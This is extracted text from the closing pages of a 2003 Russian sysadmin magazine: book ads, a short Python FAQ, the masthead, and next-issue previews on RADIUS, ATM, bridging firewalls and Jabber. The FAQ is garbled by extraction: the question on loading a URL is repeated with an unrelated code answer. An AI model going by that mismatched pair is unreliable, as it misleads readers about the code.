Книга посвящена операционной системе Linux. Приводятся подробные сведения о ее особенностях и возможностях, идеологии файловой системы, инсталляции и основных командах, вопросах компиляции ядра, настройках и сервисах. Большое внимание уделяется организации на базе Linux различных серверов и служб: электронной почты, WWW, FTP, INN, Proxy, NTP, а также проблемам администрирования сети, обеспечения безопасной работы и пр. Описаны способы настройки под Linux рабочих станций, в т. ч. и бездисковых, установки и эксплуатации на них графических сред типа X Window, а также конфигурирование модемных соединений, принтеров и сканеров, отладка взаимодействия с Linux-машинами такой “экзотической“ периферии, как карманные компьютеры, мобильные телефоны, TV-тюнеры и т. п. Рассматриваемые в книге конфигурационные файлы и структура каталогов соответствуют дистрибутиву Red Hat Linux 7.x, тем не менее, при минимальной адаптации все упоминаемые в книге пакеты устанавливаются в любом дистрибутиве Linux.

ISBN 5-94157-146-1, 888 стр.

Книга известного эксперта по сетевым технологиям, автора и редактора многих публикаций К.Закера представляет собой полное руководство по созданию, конфигурированию и обслуживанию локальных сетей. Подробно рассматриваются особенности применения аппаратногои программного обеспечения, возможности различных версий сетевых операционных систем Windows, Novell NetWare, UNIX и их компонентов, проводится детальный разбор практически всех используемых ныне технологий и коммуникационных протоколов, таких как Ethernet и Token Ring, от стандартов ранних версий до современных. Книга содержит обзор популярных технических и программных решений для WWW, затрагивает взаимодействие локальных и глобальных сетей на всех уровнях. Также освещаются вопросы функционирования различных сетевых служб и сервисов (DNS, WINS, DНСР). Дается множество полезных рекомендаций, которые будут интересны как профессионалам, так и новичкам. Для сетевых администраторов и проектировщиков сетей.

ISBN 0-07-212256-0, 5-94157-042-2, 1008 стр.

94

FAQ Python ВОПРОС: В Python начало и конец блока кода обозначаются отступом. А почему бы не отмечать их явно, например, с помощью BEGIN и END, как в Паскале, или скобок { и }, как в C? ОТВЕТ: К обязательности отступов в Python очень быстро привыкаешь. Однако если уж так хочется явно обозначать конец блока, это можно сделать, например, так: def f(x): if x >= 0: return x else: return -x #end if #end def

Здесь используется тот факт, что интерпретатор Python игнорирует все, что следует за решеткой (признаком комментария). Для тех, кто любит лишние скобки: def f(x): #{ if x >= 0: return x else: return -x #}

ВОПРОС: Как программа на Python может загрузить заданный URL? ОТВЕТ: Например, так: import urllib page = urllib.urlopen(«http:// www.onego.ru»).read()

Подписка на 2-е полугодие 2003 года

ВОПРОС: Мне нужно использовать библиотеку xyz в программе на Python, что делать? ОТВЕТ: Во-первых, нужно поискать в WWW (например, на http://google.com), не написал ли кто-нибудь привязку xyz к Python. Если поиски не дали результата, можно попробовать инструменты для полуавтоматической привязки библиотек: SWIG для C/C++ или Boost C++. Создание модулей расширения подробно описано в документации по Python, см. http://python.org/doc/current/api/api.html. Если вы используете Jython, а библиотека написана на Java, ее классы можно просто импортировать из Jython, так как Jython прозрачно интегрирован с Java. ВОПРОС: Как программа на Python может загрузить заданный URL? ОТВЕТ: Например, так: def f(x): #{ if x >= 0: return x else: return -x #}

Составил Роман Сузи

81655

Единый подписной индекс:

81655

81655

по каталогу агентства «Роспечать» Рады видеть Вас нашими читателями! №3(4), март 2003

95

СИСТЕМНЫЙ АДМИНИСТРАТОР № 3(4), Март, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин РЕКЛАМНАЯ СЛУЖБА тел.:(095)928-8253 (доб. 112) факс:(095)928-8253 Константин Меделян reklama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: RADIUS RADIUS (Remote Authentication Dial In User Service) служит для аутентификации телефонных линий, что видно из названия. Обычно radius используется маршрутизаторами Сisco для организации модемных линий. Если кто интересуется, чем же таким примечателен radius, то отвечу: протокол radius, с моей точки зрения, является логическим продолжением традиций tacacs-сервера, но он поддерживает больше возможностей и организован намного лучше. Особенно мне понравилась возможность проверки различных NAS по ключу и IP-адресу. Сервер freeradius особенно меня порадовал тем, что он содержит значительное количество модулей аутентификации (например: sql, ldap, unixpasswd, samba-passwd). Огорчает только относительная молодость протокола, отсутствие качественной документации по бесплатным серверам, отсутствие поддержки протокола старыми NAS. Последний пункт меня особенно опечалил: мои любимые коммутаторы Cisco Catalyst, что прекрасно работали с tacacs-сервером, наотрез отказались от работы с radius. Но в последних моделях Cisco и многие другие производители NAS поддерживают radius.

Абсолютно все о ATM Технология асинхронного режима передачи (Asynchronous Transfer Mode, ATM) разработана как единый универсальный транспорт для нового поколения сетей с интеграцией услуг, которые называются широкополосными сетями ISDN (Broadband-ISDN, B-ISDN). По планам разработчиков единообразие, обеспечиваемое ATM, будет состоять в том, что одна транспортная технология сможет обеспечить несколько перечисленных ниже возможностей, то есть подразумевалось сделать эту технологию универсальной.

Разводной мост на Linux (Bridging Firewalls) Для подключения телекоммуникационных сетей к Интернету провайдер на целую сеть выделяет обычно всего лишь один реальный IP-адрес, а далее вы организуете у себя компьютер-шлюз, за которым располагаете вашу сетку с адресами вида 192.168.x.x (либо 172.16.0.0/12, либо 10.0.0.0/8) из RFC 1918. На компьютере-шлюзе обычно имеется две сетевые карты, и на нём поднимаются либо прокси-сервера тех или иных сервисов, либо NAT (трансляция адресов или маскарадинг), либо всё сразу. Такая конфигурация встречается очень часто, поэтому в литературе хорошо описано, что и как настраивать. Однако если у вас случай, когда все адреса, выделенные вам провайдером, являются реальными, то в данной ситуации существует также несколько решений по организации сети. В литературе про это пишут меньше, поэтому об одном очень удобном способе организации я и попробую рассказать.

Установка и настройка сервера Jabber на платформе Linux Что же такое Jabber? Это открытый XML-протокол, предназначенный для мгновенного обмена сообщениями между узлами в Интернете. Коротко перечислю основные преимущества Jabber: Открытый протокол: над развитием Jabber работает большое количество людей, доступны различные реализации и библиотеки. Все спецификации и документация находятся в свободном доступе; Поддержка unicode. Для нас это означает отсутствие проблем, связанных с различными кодировками русского языка.